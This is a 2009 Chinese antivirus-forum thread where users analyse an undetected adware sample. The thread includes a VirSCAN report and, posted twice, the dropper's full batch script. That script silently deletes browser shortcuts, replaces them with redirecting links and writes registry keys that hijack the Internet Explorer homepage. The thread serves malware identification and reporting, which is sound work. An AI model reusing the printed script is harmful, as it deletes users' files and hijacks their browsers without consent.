收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 这是什么东西，折磨厉害。
12下一页
返回列表 发新帖
查看: 6040|回复: 18
收起左侧

[病毒样本] 这是什么东西，折磨厉害。

[复制链接]
xiaohai0088
发表于 2009-11-13 17:01:27 | 显示全部楼层 |阅读模式
杀软没报，运行一下就出问题了。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

xiaohai0088
 楼主| 发表于 2009-11-13 17:02:54 | 显示全部楼层
我没敢运行试试，扫了一下VirSCAN.org Scanned Report :
Scanned time   : 2009/11/10 21:11:19 (CST)
Scanner results: 3%的杀软(1/37)报告发现病毒
File Name      : lao.exe
File Size      : 177224 byte
File Type      : PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5            : 093ea192ad92e48207474dc85d9c0712
SHA1           : 8fb2426b0e83df22d7e6c0ce05517bb73d0dd967
Online report  : http://virscan.org/report/2bb677621c7658a99894735dbf8188a3.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      4.5.0.8         20091110030148    2009-11-10  5.90   -
安博士V3       2009.11.10.02   2009.11.10        2009-11-10  1.32   -
AntiVir        8.2.1.61        7.1.6.212         2009-11-10  0.19   HEUR/Malware
安天           2.0.18          20091105.3216324  2009-11-05  0.12   -
Arcavir        2009            200911091328      2009-11-09  0.39   -
Authentium     5.1.1           200911100925      2009-11-10  1.51   -
AVAST!         4.7.4           091110-0          2009-11-10  0.03   -
AVG            8.5.288         270.14.59/2494    2009-11-10  0.85   -
BitDefender    7.81008.4482665 7.28853           2009-11-10  4.12   -
CA (VET)       35.1.0          7112              2009-11-09  27.65  -
ClamAV         0.95.2          10007             2009-11-10  0.04   -
Comodo         3.12            2905              2009-11-10  1.06   -
CP Secure      1.3.0.5         2009.11.10        2009-11-10  0.13   -
Dr.Web         4.44.0.9170     2009.11.10        2009-11-10  10.47  -
F-Prot         4.4.4.56        20091110          2009-11-10  2.10   -
F-Secure       7.02.73807      2009.11.10.04     2009-11-10  0.86   -
飞塔           2.81-3.120      11.44             2009-11-09  0.55   -
GData          19.8791/19.549  20091110          2009-11-10  6.96   -
ViRobot        20091110        2009.11.10        2009-11-10  0.67   -
Ikarus         T3.1.01.74      2009.11.10.74499  2009-11-10  7.88   -
江民杀毒       11.0.800        2009.11.10        2009-11-10  32.37  -
卡巴斯基       5.5.10          2009.11.10        2009-11-10  0.22   -
金山毒霸       2009.2.5.15     2009.11.10.18     2009-11-10  1.40   -
迈克菲         5.3.00          5797              2009-11-09  3.65   -
Microsoft      1.5202          2009.11.10        2009-11-10  10.79  -
Norman         6.01.09         6.01.00           2009-11-09  4.01   -
熊猫卫士       9.05.01         2009.11.09        2009-11-09  10.61  -
趋势科技       8.700-1004      6.616.02          2009-11-09  0.07   -
Quick Heal     10.00           2009.11.10        2009-11-10  1.63   -
瑞星           20.0            22.21.01.09       2009-11-10  3.49   -
Sophos         3.00.1          4.46              2009-11-10  3.24   -
Sunbelt        5500            5500              2009-11-09  9.96   -
赛门铁克       1.3.0.24        20091109.003      2009-11-09  0.36   -
nProtect       20091109.02     6126448           2009-11-09  8.99   -
The Hacker     6.5.0.2         v00064            2009-11-09  2.12   -
VBA32          3.12.10.11      20091109.1425     2009-11-09  2.14   -
VirusBuster    4.5.11.10       10.113.12/2004500 2009-11-09  2.53   -
回复

举报

悠柚
发表于 2009-11-13 17:06:04 | 显示全部楼层
@if "%1" NEQ "BBB" (@exit)
@copy %temp%\360.ico %windir% /y
@copy %temp%\firefox.ico %windir% /y
@copy %temp%\maxthon.ico %windir% /y
@copy %temp%\TheWorld.ico %windir% /y
@copy %temp%\TTraveler.ico %windir% /y
@del "%USERPROFILE%\桌面\*Inter*.*" "%USERPROFILE%\桌面\*plorer*.*" "%USERPROFILE%\桌面\*网址*.*" "%USERPROFILE%\桌面\*导航*.*" "%USERPROFILE%\桌面\*主页*.*" /f /q
@del "%ALLUSERSPROFILE%\桌面\*Inter*.*" "%ALLUSERSPROFILE%\桌面\*plorer*.*" "%ALLUSERSPROFILE%\桌面\*网址*.*" "%ALLUSERSPROFILE%\桌面\*导航*.*" "%ALLUSERSPROFILE%\桌面\*主页*.*" /f /q
@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Inter*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*plorer*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*网址*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*导航*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*主页*.*" /f /q


@copy "%temp%\启动 Internet Explorer 浏览器.lnk" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\" /y
@copy "%temp%\启动 Internet Explorer 浏览器.lnk" "%ALLUSERSPROFILE%\桌面\Internet Explorer.lnk" /y
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /f


@if exist "%ALLUSERSPROFILE%\桌面\傲游*.lnk" (@del "%ALLUSERSPROFILE%\桌面\傲游*.lnk" /f /q
@copy "%temp%\傲游浏览器2.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\傲游*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\傲游*.lnk" /f /q
@copy "%temp%\傲游浏览器2.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%USERPROFILE%\桌面\腾讯TT.lnk" (@del "%USERPROFILE%\桌面\腾讯TT.lnk" /f /q
@copy "%temp%\腾讯TT.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\腾讯TT.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\腾讯TT.lnk" /f /q
@copy "%temp%\腾讯TT.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\世界之窗.lnk" (@del "%ALLUSERSPROFILE%\桌面\世界之窗.lnk" /f /q
@copy "%temp%\世界之窗.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\世界之窗.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\世界之窗.lnk" /f /q
@copy "%temp%\世界之窗.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\*Firefox*.lnk" (@del "%ALLUSERSPROFILE%\桌面\*Firefox*.lnk" /f /q
@copy "%temp%\Mozilla Firefox.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Firefox*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Firefox*.lnk" /f /q
@copy "%temp%\Mozilla Firefox.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\*浏览器*.lnk" (@del "%ALLUSERSPROFILE%\桌面\*浏览器*.lnk" /f /q
@copy "%temp%\360安全浏览器 3.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*浏览器*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*浏览器*.lnk" /f /q
@copy "%temp%\360安全浏览器 3.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f

@reg add "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /t REG_SZ /d "%programfiles%\Internet Explorer\IEXPLORE.EXE www.0002.com" /f

Path=%temp%
Setup="%temp%\寻找老大.rar"
Setup=cmd.exe /c "%temp%\setup.bat BBB"
Silent=1
Overwrite=1
Adware

[ 本帖最后由 悠柚 于 2009-11-13 17:09 编辑 ]
回复

举报

悠柚
发表于 2009-11-13 17:07:58 | 显示全部楼层
所有的浏览器快捷方式都连接到hxxp://www.0002.com
上报a2
回复

举报

dongsheng01
发表于 2009-11-13 17:17:00 | 显示全部楼层
McAfee  miss
回复

举报

62590423
发表于 2009-11-13 17:22:19 | 显示全部楼层
to 费尔
回复

举报

angir
发表于 2009-11-13 17:26:16 | 显示全部楼层
色情网址发布器……
不知道上不上报好……
回复

举报

mygames10
发表于 2009-11-13 17:32:59 | 显示全部楼层
流氓软件，唉，这种东东，杀软也不好使。还寻找老大，晕死。
回复

举报

左手
发表于 2009-11-13 17:53:33 | 显示全部楼层
2009-11-13 17:52:08    创建文件      操作:阻止并结束进程
进程路径:E:\test\lao.exe
文件路径:C:\Documents and Settings\明明\Local Settings\Temp\setup.bat
触发规则:所有程序规则->FD:01…系统文件读写规则Ⅰ->%SystemDrive%\*.bat


@if "%1" NEQ "BBB" (@exit)
@copy %temp%\360.ico %windir% /y
@copy %temp%\firefox.ico %windir% /y
@copy %temp%\maxthon.ico %windir% /y
@copy %temp%\TheWorld.ico %windir% /y
@copy %temp%\TTraveler.ico %windir% /y
@del "%USERPROFILE%\桌面\*Inter*.*" "%USERPROFILE%\桌面\*plorer*.*" "%USERPROFILE%\桌面\*网址*.*" "%USERPROFILE%\桌面\*导航*.*" "%USERPROFILE%\桌面\*主页*.*" /f /q
@del "%ALLUSERSPROFILE%\桌面\*Inter*.*" "%ALLUSERSPROFILE%\桌面\*plorer*.*" "%ALLUSERSPROFILE%\桌面\*网址*.*" "%ALLUSERSPROFILE%\桌面\*导航*.*" "%ALLUSERSPROFILE%\桌面\*主页*.*" /f /q
@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Inter*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*plorer*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*网址*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*导航*.*" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*主页*.*" /f /q


@copy "%temp%\启动 Internet Explorer 浏览器.lnk" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\" /y
@copy "%temp%\启动 Internet Explorer 浏览器.lnk" "%ALLUSERSPROFILE%\桌面\Internet Explorer.lnk" /y
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /f


@if exist "%ALLUSERSPROFILE%\桌面\傲游*.lnk" (@del "%ALLUSERSPROFILE%\桌面\傲游*.lnk" /f /q
@copy "%temp%\傲游浏览器2.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\傲游*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\傲游*.lnk" /f /q
@copy "%temp%\傲游浏览器2.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%USERPROFILE%\桌面\腾讯TT.lnk" (@del "%USERPROFILE%\桌面\腾讯TT.lnk" /f /q
@copy "%temp%\腾讯TT.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\腾讯TT.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\腾讯TT.lnk" /f /q
@copy "%temp%\腾讯TT.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\世界之窗.lnk" (@del "%ALLUSERSPROFILE%\桌面\世界之窗.lnk" /f /q
@copy "%temp%\世界之窗.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\世界之窗.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\世界之窗.lnk" /f /q
@copy "%temp%\世界之窗.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\*Firefox*.lnk" (@del "%ALLUSERSPROFILE%\桌面\*Firefox*.lnk" /f /q
@copy "%temp%\Mozilla Firefox.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Firefox*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Firefox*.lnk" /f /q
@copy "%temp%\Mozilla Firefox.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@if exist "%ALLUSERSPROFILE%\桌面\*浏览器*.lnk" (@del "%ALLUSERSPROFILE%\桌面\*浏览器*.lnk" /f /q
@copy "%temp%\360安全浏览器 3.url" "%ALLUSERSPROFILE%\桌面" /y)
@if exist "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*浏览器*.lnk" (@del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*浏览器*.lnk" /f /q
@copy "%temp%\360安全浏览器 3.url" "%APPDATA%\Microsoft\Internet Explorer\Quick Launch" /y)


@reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f

@reg add "HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /v "" /t REG_SZ /d "%programfiles%\Internet Explorer\IEXPLORE.EXE www.0002.com" /f
回复

举报

xiaohai0088
 楼主| 发表于 2009-11-13 18:23:34 | 显示全部楼层
貌似上次不是这个，失败，找错了， 继续努力，上次直接把杀软等劫持了 ，还修改注册表来着。搞得我直接重装了一下，还好没后遗症。记得是hxxp mv130.com黄网地址发布程序 ，结果以后就找不到了 ，见过大侠告诉我一下
回复

举报

下一页 »
12下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-4-20 00:52 , Processed in 0.093160 second(s), 2 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表